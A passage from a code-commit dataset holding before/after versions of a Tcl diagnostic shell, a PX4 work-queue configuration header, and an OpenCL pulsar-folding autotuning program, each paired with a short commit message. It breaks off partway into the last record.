QApplication::processEvents();\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/*\n * Copyright (c) 2012-2021 Karl N. Redgate\n * \n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\/** \\file redx.cc\n * \\brief A diagnostic shell\n *\n * \\todo add process status\/grep\/lookup\/etc\n * \\todo add dbus\n * \\todo add syslog\n *\/\n\n#include <sys\/stat.h>\n#include <errno.h>\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <dirent.h>\n#include <pthread.h>\n#include <string.h>\n#include <syslog.h>\n\n#include \"platform.h\"\n\n#include \"tcl_util.h\"\n#include \"AppInit.h\"\n\n\/**\n *\/\nint RedX_Init( Tcl_Interp *interp ) {\n int interactive = 1;\n Tcl_Obj *interactive_obj;\n interactive_obj = Tcl_GetVar2Ex( interp, \"tcl_interactive\", NULL, TCL_GLOBAL_ONLY );\n if ( interactive_obj != NULL ) {\n Tcl_GetIntFromObj( interp, interactive_obj, &interactive );\n }\n\n Tcl_Command command;\n\n if ( interactive ) printf( \" ** RedX debug tool v1.0\\n\" );\n Tcl_SetVar(interp, \"tcl_rcFileName\", \"~\/.redxrc\", TCL_GLOBAL_ONLY);\n\n Tcl_EvalEx( interp, \"proc clock {command} { namespace eval ::tcl::clock $command}\", -1, TCL_EVAL_GLOBAL );\n Tcl_EvalEx( interp, \"proc commands {} {namespace eval commands {info procs}}\", -1, TCL_EVAL_GLOBAL );\n const char *help_script = \"proc help {args} {\\n\"\n \" foreach name [namespace children] {\\n\"\n \" puts \\\"## $name commands\\\"\\n\"\n \" foreach command [info commands \\\"${name}::*\\\"] {\\n\"\n \" puts -nonewline \\\"[namespace tail $command] \\\"\\n\"\n \" }\\n\"\n \" puts {}\\n\"\n \" }\\n\"\n \"}\\n\";\n int retcode = Tcl_EvalEx( interp, help_script, -1, TCL_EVAL_GLOBAL );\n if ( retcode != TCL_OK ) return false;\n\n#if 0\n if ( getuid() != 0 ) {\n if ( interactive ) printf( \"BIOS not initialized, no access to \/dev\/mem\\n\" );\n } else {\n if ( BIOS::Initialize(interp) == false ) {\n Tcl_StaticSetResult( interp, \"BIOS::Initialize failed\" );\n return TCL_ERROR;\n }\n if ( interactive ) printf( \"BIOS initialized\\n\" );\n }\n\n if ( access(\"\/proc\/xen\/privcmd\", R_OK) != 0 ) {\n if ( interactive ) printf( \"Xen not initialized, no hypervisor present\\n\" );\n } else {\n if ( Xen::Initialize(interp) == false ) {\n Tcl_StaticSetResult( interp, \"Xen::Initialize failed\" );\n return TCL_ERROR;\n }\n if ( interactive ) printf( \"Xen initialized\\n\" );\n }\n\n#endif\n\n if ( Tcl_CallAppInitChain(interp) == false ) {\n \/\/ this may want to be additive result\n Tcl_StaticSetResult( interp, \"AppInit failed\" );\n return TCL_ERROR;\n }\n\n return TCL_OK;\n}\n\n\/**\n *\/\nint main( int argc, char **argv ) {\n Tcl_Main( argc, argv, RedX_Init );\n}\n\n\/* vim: set autoindent expandtab sw=4 : *\/\n<commit_msg>initialize the logger<commit_after>\n\/*\n * Copyright (c) 2012-2021 Karl N. Redgate\n * \n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\/** \\file redx.cc\n * \\brief A diagnostic shell\n *\n * \\todo add process status\/grep\/lookup\/etc\n * \\todo add dbus\n * \\todo add syslog\n *\/\n\n#include <sys\/stat.h>\n#include <errno.h>\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <dirent.h>\n#include <pthread.h>\n#include <string.h>\n#include <syslog.h>\n\n#include \"platform.h\"\n#include \"logger.h\"\n\n#include \"tcl_util.h\"\n#include \"AppInit.h\"\n\n\/**\n *\/\nint RedX_Init( Tcl_Interp *interp ) {\n int interactive = 1;\n Tcl_Obj *interactive_obj;\n interactive_obj = Tcl_GetVar2Ex( interp, \"tcl_interactive\", NULL, TCL_GLOBAL_ONLY );\n if ( interactive_obj != NULL ) {\n Tcl_GetIntFromObj( interp, interactive_obj, &interactive );\n }\n log_interactive( interactive );\n\n Tcl_Command command;\n\n if ( interactive ) printf( \" ** RedX debug tool v1.0\\n\" );\n Tcl_SetVar(interp, \"tcl_rcFileName\", \"~\/.redxrc\", TCL_GLOBAL_ONLY);\n\n Tcl_EvalEx( interp, \"proc clock {command} { namespace eval ::tcl::clock $command}\", -1, TCL_EVAL_GLOBAL );\n Tcl_EvalEx( interp, \"proc commands {} {namespace eval commands {info procs}}\", -1, TCL_EVAL_GLOBAL );\n const char *help_script = \"proc help {args} {\\n\"\n \" foreach name [namespace children] {\\n\"\n \" puts \\\"## $name commands\\\"\\n\"\n \" foreach command [info commands \\\"${name}::*\\\"] {\\n\"\n \" puts -nonewline \\\"[namespace tail $command] \\\"\\n\"\n \" }\\n\"\n \" puts {}\\n\"\n \" }\\n\"\n \"}\\n\";\n int retcode = Tcl_EvalEx( interp, help_script, -1, TCL_EVAL_GLOBAL );\n if ( retcode != TCL_OK ) return false;\n\n#if 0\n if ( getuid() != 0 ) {\n if ( interactive ) printf( \"BIOS not initialized, no access to \/dev\/mem\\n\" );\n } else {\n if ( BIOS::Initialize(interp) == false ) {\n Tcl_StaticSetResult( interp, \"BIOS::Initialize failed\" );\n return TCL_ERROR;\n }\n if ( interactive ) printf( \"BIOS initialized\\n\" );\n }\n\n if ( access(\"\/proc\/xen\/privcmd\", R_OK) != 0 ) {\n if ( interactive ) printf( \"Xen not initialized, no hypervisor present\\n\" );\n } else {\n if ( Xen::Initialize(interp) == false ) {\n Tcl_StaticSetResult( interp, \"Xen::Initialize failed\" );\n return TCL_ERROR;\n }\n if ( interactive ) printf( \"Xen initialized\\n\" );\n }\n\n#endif\n\n if ( Tcl_CallAppInitChain(interp) == false ) {\n \/\/ this may want to be additive result\n Tcl_StaticSetResult( interp, \"AppInit failed\" );\n return TCL_ERROR;\n }\n\n return TCL_OK;\n}\n\n\/**\n *\/\nint main( int argc, char **argv ) {\n Tcl_Main( argc, argv, RedX_Init );\n}\n\n\/* vim: set autoindent expandtab sw=4 : *\/\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n *\n * Copyright (c) 2019 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n#pragma once\n\n#include <stdint.h>\n\nnamespace px4\n{\n\nclass WorkQueue; \/\/ forward declaration\n\nstruct wq_config_t {\n\tconst char *name;\n\tuint16_t stacksize;\n\tint8_t relative_priority; \/\/ relative to max\n};\n\nnamespace wq_configurations\n{\nstatic constexpr wq_config_t rate_ctrl{\"wq:rate_ctrl\", 1664, 0}; \/\/ PX4 inner loop highest priority\n\nstatic constexpr wq_config_t SPI0{\"wq:SPI0\", 2496, -1};\nstatic constexpr wq_config_t SPI1{\"wq:SPI1\", 2496, -2};\nstatic constexpr wq_config_t SPI2{\"wq:SPI2\", 2496, -3};\nstatic constexpr wq_config_t SPI3{\"wq:SPI3\", 2496, -4};\nstatic constexpr wq_config_t SPI4{\"wq:SPI4\", 2496, -5};\nstatic constexpr wq_config_t SPI5{\"wq:SPI5\", 2496, -6};\nstatic constexpr wq_config_t SPI6{\"wq:SPI6\", 2496, -7};\n\nstatic constexpr wq_config_t I2C0{\"wq:I2C0\", 1472, -8};\nstatic constexpr wq_config_t I2C1{\"wq:I2C1\", 1472, -9};\nstatic constexpr wq_config_t I2C2{\"wq:I2C2\", 1472, -10};\nstatic constexpr wq_config_t I2C3{\"wq:I2C3\", 1472, -11};\nstatic constexpr wq_config_t I2C4{\"wq:I2C4\", 1472, -12};\n\n\/\/ PX4 att\/pos controllers, highest priority after sensors.\nstatic constexpr wq_config_t attitude_ctrl{\"wq:attitude_ctrl\", 1600, -13};\nstatic constexpr wq_config_t navigation_and_controllers{\"wq:navigation_and_controllers\", 7200, -14};\n\nstatic constexpr wq_config_t hp_default{\"wq:hp_default\", 1900, -15};\n\nstatic constexpr wq_config_t uavcan{\"wq:uavcan\", 3000, -16};\n\nstatic constexpr wq_config_t UART0{\"wq:UART0\", 1400, -17};\nstatic constexpr wq_config_t UART1{\"wq:UART1\", 1400, -18};\nstatic constexpr wq_config_t UART2{\"wq:UART2\", 1400, -19};\nstatic constexpr wq_config_t UART3{\"wq:UART3\", 1400, -20};\nstatic constexpr wq_config_t UART4{\"wq:UART4\", 1400, -21};\nstatic constexpr wq_config_t UART5{\"wq:UART5\", 1400, -22};\nstatic constexpr wq_config_t UART6{\"wq:UART6\", 1400, -23};\nstatic constexpr wq_config_t UART7{\"wq:UART7\", 1400, -24};\nstatic constexpr wq_config_t UART8{\"wq:UART8\", 1400, -25};\nstatic constexpr wq_config_t UART_UNKNOWN{\"wq:UART_UNKNOWN\", 1400, -26};\n\nstatic constexpr wq_config_t lp_default{\"wq:lp_default\", 1700, -50};\n\nstatic constexpr wq_config_t test1{\"wq:test1\", 2000, 0};\nstatic constexpr wq_config_t test2{\"wq:test2\", 2000, 0};\n\n} \/\/ namespace wq_configurations\n\n\/**\n * Start the work queue manager task.\n *\/\nint WorkQueueManagerStart();\n\n\/**\n * Stop the work queue manager task.\n *\/\nint WorkQueueManagerStop();\n\n\/**\n * Work queue manager status.\n *\/\nint WorkQueueManagerStatus();\n\n\/**\n * Create (or find) a work queue with a particular configuration.\n *\n * @param new_wq\t\tThe work queue configuration (see WorkQueueManager.hpp).\n * @return\t\tA pointer to the WorkQueue, or nullptr on failure.\n *\/\nWorkQueue *WorkQueueFindOrCreate(const wq_config_t &new_wq);\n\n\/**\n * Map a PX4 driver device id to a work queue (by sensor bus).\n *\n * @param device_id\t\tThe PX4 driver's device id.\n * @return\t\tA work queue configuration.\n *\/\nconst wq_config_t &device_bus_to_wq(uint32_t device_id);\n\n\/**\n * Map a serial device path (eg \/dev\/ttyS1) to a work queue.\n *\n * @param device_id\t\tThe device path.\n * @return\t\tA work queue configuration.\n *\/\nconst wq_config_t &serial_port_to_wq(const char *serial);\n\n\n} \/\/ namespace px4\n<commit_msg>wq:attitude_ctrl small stack increase<commit_after>\/****************************************************************************\n *\n * Copyright (c) 2019 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n * used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n#pragma once\n\n#include <stdint.h>\n\nnamespace px4\n{\n\nclass WorkQueue; \/\/ forward declaration\n\nstruct wq_config_t {\n\tconst char *name;\n\tuint16_t stacksize;\n\tint8_t relative_priority; \/\/ relative to max\n};\n\nnamespace wq_configurations\n{\nstatic constexpr wq_config_t rate_ctrl{\"wq:rate_ctrl\", 1664, 0}; \/\/ PX4 inner loop highest priority\n\nstatic constexpr wq_config_t SPI0{\"wq:SPI0\", 2496, -1};\nstatic constexpr wq_config_t SPI1{\"wq:SPI1\", 2496, -2};\nstatic constexpr wq_config_t SPI2{\"wq:SPI2\", 2496, -3};\nstatic constexpr wq_config_t SPI3{\"wq:SPI3\", 2496, -4};\nstatic constexpr wq_config_t SPI4{\"wq:SPI4\", 2496, -5};\nstatic constexpr wq_config_t SPI5{\"wq:SPI5\", 2496, -6};\nstatic constexpr wq_config_t SPI6{\"wq:SPI6\", 2496, -7};\n\nstatic constexpr wq_config_t I2C0{\"wq:I2C0\", 1472, -8};\nstatic constexpr wq_config_t I2C1{\"wq:I2C1\", 1472, -9};\nstatic constexpr wq_config_t I2C2{\"wq:I2C2\", 1472, -10};\nstatic constexpr wq_config_t I2C3{\"wq:I2C3\", 1472, -11};\nstatic constexpr wq_config_t I2C4{\"wq:I2C4\", 1472, -12};\n\n\/\/ PX4 att\/pos controllers, highest priority after sensors.\nstatic constexpr wq_config_t attitude_ctrl{\"wq:attitude_ctrl\", 1632, -13};\nstatic constexpr wq_config_t navigation_and_controllers{\"wq:navigation_and_controllers\", 7200, -14};\n\nstatic constexpr wq_config_t hp_default{\"wq:hp_default\", 1900, -15};\n\nstatic constexpr wq_config_t uavcan{\"wq:uavcan\", 3000, -16};\n\nstatic constexpr wq_config_t UART0{\"wq:UART0\", 1400, -17};\nstatic constexpr wq_config_t UART1{\"wq:UART1\", 1400, -18};\nstatic constexpr wq_config_t UART2{\"wq:UART2\", 1400, -19};\nstatic constexpr wq_config_t UART3{\"wq:UART3\", 1400, -20};\nstatic constexpr wq_config_t UART4{\"wq:UART4\", 1400, -21};\nstatic constexpr wq_config_t UART5{\"wq:UART5\", 1400, -22};\nstatic constexpr wq_config_t UART6{\"wq:UART6\", 1400, -23};\nstatic constexpr wq_config_t UART7{\"wq:UART7\", 1400, -24};\nstatic constexpr wq_config_t UART8{\"wq:UART8\", 1400, -25};\nstatic constexpr wq_config_t UART_UNKNOWN{\"wq:UART_UNKNOWN\", 1400, -26};\n\nstatic constexpr wq_config_t lp_default{\"wq:lp_default\", 1700, -50};\n\nstatic constexpr wq_config_t test1{\"wq:test1\", 2000, 0};\nstatic constexpr wq_config_t test2{\"wq:test2\", 2000, 0};\n\n} \/\/ namespace wq_configurations\n\n\/**\n * Start the work queue manager task.\n *\/\nint WorkQueueManagerStart();\n\n\/**\n * Stop the work queue manager task.\n *\/\nint WorkQueueManagerStop();\n\n\/**\n * Work queue manager status.\n *\/\nint WorkQueueManagerStatus();\n\n\/**\n * Create (or find) a work queue with a particular configuration.\n *\n * @param new_wq\t\tThe work queue configuration (see WorkQueueManager.hpp).\n * @return\t\tA pointer to the WorkQueue, or nullptr on failure.\n *\/\nWorkQueue *WorkQueueFindOrCreate(const wq_config_t &new_wq);\n\n\/**\n * Map a PX4 driver device id to a work queue (by sensor bus).\n *\n * @param device_id\t\tThe PX4 driver's device id.\n * @return\t\tA work queue configuration.\n *\/\nconst wq_config_t &device_bus_to_wq(uint32_t device_id);\n\n\/**\n * Map a serial device path (eg \/dev\/ttyS1) to a work queue.\n *\n * @param device_id\t\tThe device path.\n * @return\t\tA work queue configuration.\n *\/\nconst wq_config_t &serial_port_to_wq(const char *serial);\n\n\n} \/\/ namespace px4\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2013\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n#include <cmath>\nusing std::cout;\nusing std::cerr;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::exception;\nusing std::ofstream;\nusing std::fixed;\nusing std::setprecision;\nusing std::numeric_limits;\n\n#include <ArgumentList.hpp>\n#include <Observation.hpp>\n#include <InitializeOpenCL.hpp>\n#include <CLData.hpp>\n#include <utils.hpp>\n#include <Folding.hpp>\n#include <Timer.hpp>\nusing isa::utils::ArgumentList;\nusing isa::utils::toStringValue;\nusing isa::utils::Timer;\nusing AstroData::Observation;\nusing isa::OpenCL::initializeOpenCL;\nusing isa::OpenCL::CLData;\nusing PulsarSearch::Folding;\n\ntypedef float dataType;\nconst string typeName(\"float\");\nconst unsigned int maxThreadsPerBlock = 1024;\nconst unsigned int maxThreadsMultiplier = 512;\nconst unsigned int maxItemsPerThread = 256;\nconst unsigned int maxItemsMultiplier = 256;\nconst unsigned int padding = 32;\n\n\/\/ Common parameters\nconst unsigned int nrBeams = 1;\nconst unsigned int nrStations = 64;\n\/\/ LOFAR\n\/*const float minFreq = 138.965f;\nconst float channelBandwidth = 0.195f;\nconst unsigned int nrSamplesPerSecond = 200000;\nconst unsigned int nrChannels = 32;*\/\n\/\/ Apertif\nconst float minFreq = 1425.0f;\nconst float channelBandwidth = 0.2929f;\nconst unsigned int nrSamplesPerSecond = 20000;\nconst unsigned int nrChannels = 1024;\n\/\/ Periods\nconst unsigned int nrBins = 256;\n\n\nint main(int argc, char * argv[]) {\n\tunsigned int lowerNrThreads = 0;\n\tunsigned int nrIterations = 0;\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tObservation< dataType > observation(\"FoldingTuning\", typeName);\n\tCLData< dataType > * dedispersedData = new CLData< dataType >(\"DedispersedData\", true);\n\tCLData< dataType > * foldedData = new CLData<dataType >(\"FoldedData\", true);\n\tCLData< unsigned int > * counterData = new CLData< unsigned int >(\"CounterData\", true);\n\n\n\ttry {\n\t\tArgumentList args(argc, argv);\n\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n\t\tnrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n\t\tobservation.setNrDMs(args.getSwitchArgument< unsigned int >(\"-dms\"));\n\t\tlowerNrThreads = args.getSwitchArgument< unsigned int >(\"-lnt\");\n\t\tobservation.setNrPeriods(args.getSwitchArgument< unsigned int >(\"-periods\"));\n\t} catch ( exception & err ) {\n\t\tcerr << err.what() << endl;\n\t\treturn 1;\n\t}\n\n\t\/\/ Setup of the observation\n\tobservation.setPadding(padding);\n\tobservation.setNrSamplesPerSecond(nrSamplesPerSecond);\n\tobservation.setNrBins(nrBins);\n\t\n\tcl::Context * clContext = new cl::Context();\n\tvector< cl::Platform > * clPlatforms = new vector< cl::Platform >();\n\tvector< cl::Device > * clDevices = new vector< cl::Device >();\n\tvector< vector< cl::CommandQueue > > * clQueues = new vector< vector < cl::CommandQueue > >();\n\t\n\tinitializeOpenCL(clPlatformID, 1, clPlatforms, clContext, clDevices, clQueues);\n\n\tcout << fixed << endl;\n\tcout << \"# nrDMs nrPeriods nrDMsPerBlock nrPeriodsPerBlock nrBinsPerBlock nrDMsPerThread nrPeriodsPerThread nrBinsPerThread GFLOP\/s err time err\" << endl << endl;\n\n\t\/\/ Allocate memory\n\tdedispersedData->allocateHostData(observation.getNrSamplesPerSecond() * observation.getNrPaddedDMs());\n\tfoldedData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tfoldedData->blankHostData();\n\tcounterData->allocateHostData(observation.getNrPaddedDMs() * observation.getNrBins() * observation.getNrPeriods());\n\tcounterData->blankHostData();\n\n\tdedispersedData->setCLContext(clContext);\n\tdedispersedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tfoldedData->setCLContext(clContext);\n\tfoldedData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\tcounterData->setCLContext(clContext);\n\tcounterData->setCLQueue(&((clQueues->at(clDeviceID)).at(0)));\n\n\ttry {\n\t\tdedispersedData->allocateDeviceData();\n\t\tfoldedData->allocateDeviceData();\n\t\tfoldedData->copyHostToDevice();\n\t\tcounterData->allocateDeviceData();\n\t\tcounterData->copyHostToDevice();\n\t} catch ( OpenCLError err ) {\n\t\tcerr << err.what() << endl;\n\t}\n\n\t\/\/ Find the parameters\n\tvector< vector< unsigned int > > configurations;\n\tfor ( unsigned int DMsPerBlock = lowerNrThreads; DMsPerBlock <= maxThreadsPerBlock; DMsPerBlock++ ) {\n\t\tif ( observation.getNrDMs() % DMsPerBlock != 0 ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tfor ( unsigned int periodsPerBlock = 1; periodsPerBlock <= maxThreadsMultiplier; periodsPerBlock++ ) {\n\t\t\tif ( observation.getNrPeriods() % periodsPerBlock != 0 ) {\n\t\t\t\tcontinue;\n\t\t\t} else if ( DMsPerBlock * periodsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tfor ( unsigned int binsPerBlock = 1; binsPerBlock <= maxThreadsMultiplier; binsPerBlock++ ) {\n\t\t\t\tif ( observation.getNrBins() % binsPerBlock != 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t} else if ( DMsPerBlock * periodsPerBlock * binsPerBlock > maxThreadsPerBlock ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tfor ( unsigned int DMsPerThread = 1; DMsPerThread <= maxItemsPerThread; DMsPerThread++ ) {\n\t\t\t\t\tif ( observation.getNrDMs() % (DMsPerBlock * DMsPerThread) != 0 ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tfor ( unsigned int periodsPerThread = 1; periodsPerThread <= maxItemsMultiplier; periodsPerThread++ ) {\n\t\t\t\t\t\tif ( observation.getNrPeriods() % (periodsPerBlock * periodsPerThread) != 0 ) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t} else if ( DMsPerThread * periodsPerThread > maxItemsPerThread ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor ( unsigned int binsPerThread = 1; binsPerThread <= maxItemsMultiplier; binsPerThread++ ) {\n\t\t\t\t\t\t\tif ( observation.getNrBins() % (binsPerBlock * binsPerThread) != 0 ) {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t} else if ( DMsPerThread * periodsPerThread * binsPerThread > maxItemsPerThread ) {\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tvector< unsigned int > parameters;\n\n\t\t\t\t\t\t\tparameters.push_back(DMsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(binsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(DMsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(binsPerThread);\n\n\t\t\t\t\t\t\tconfigurations.push_back(parameters);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( vector< vector< unsigned int > >::const_iterator parameters = configurations.begin(); parameters != configurations.end(); parameters++ ) {\n\t\tdouble Acur = 0.0;\n\t\tdouble Aold = 0.0;\n\t\tdouble Vcur = 0.0;\n\t\tdouble Vold = 0.0;\n\n\t\ttry {\n\t\t\t\/\/ Generate kernel\n\t\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\t\tclFold.setObservation(&observation);\n\t\t\tclFold.setNrDMsPerBlock((*parameters)[0]);\n\t\t\tclFold.setNrPeriodsPerBlock((*parameters)[1]);\n\t\t\tclFold.setNrBinsPerBlock((*parameters)[2]);\n\t\t\tclFold.setNrDMsPerThread((*parameters)[3]);\n\t\t\tclFold.setNrPeriodsPerThread((*parameters)[4]);\n\t\t\tclFold.setNrBinsPerThread((*parameters)[5]);\n\t\t\tclFold.generateCode();\n\n\t\t\tclFold(dedispersedData, foldedData, counterData);\n\t\t\t(clFold.getTimer()).reset();\n\t\t\tfor ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n\t\t\t\tclFold(dedispersedData, foldedData, counterData);\n\t\t\t\t\n\t\t\t\tif ( iteration == 0 ) {\n\t\t\t\t\tAcur = clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime();\n\t\t\t\t} else {\n\t\t\t\t\tAold = Acur;\n\t\t\t\t\tVold = Vcur;\n\n\t\t\t\t\tAcur = Aold + (((clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime()) - Aold) \/ (iteration + 1));\n\t\t\t\t\tVcur = Vold + (((clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime()) - Aold) * ((clFold.getGFLOP() \/ clFold.getTimer().getLastRunTime()) - Acur));\n\t\t\t\t}\n\t\t\t}\n\t\t\tVcur = sqrt(Vcur \/ nrIterations);\n\n\t\t\tcout << observation.getNrDMs() << \" \" << observation.getNrPeriods() << \" \" << (*parameters)[0] << \" \" << (*parameters)[1] << \" \" << (*parameters)[2] << \" \" << (*parameters)[3] << \" \" << (*parameters)[4] << \" \" << (*parameters)[5] << \" \" << setprecision(3) << Acur << \" \" << Vcur << \" \" << setprecision(6) << clFold.getTimer().getAverageTime() << \" \" << clFold.getTimer().getStdDev() << endl;\n\t\t} catch ( OpenCLError err ) {\n\t\t\tcerr << err.what() << endl;\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\tcout << endl;\n\n\treturn 0;\n}\n<commit_msg>Fixed the formula to compute the number of registers necessary.<commit_after>\/*\n * Copyright (C) 2013\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it 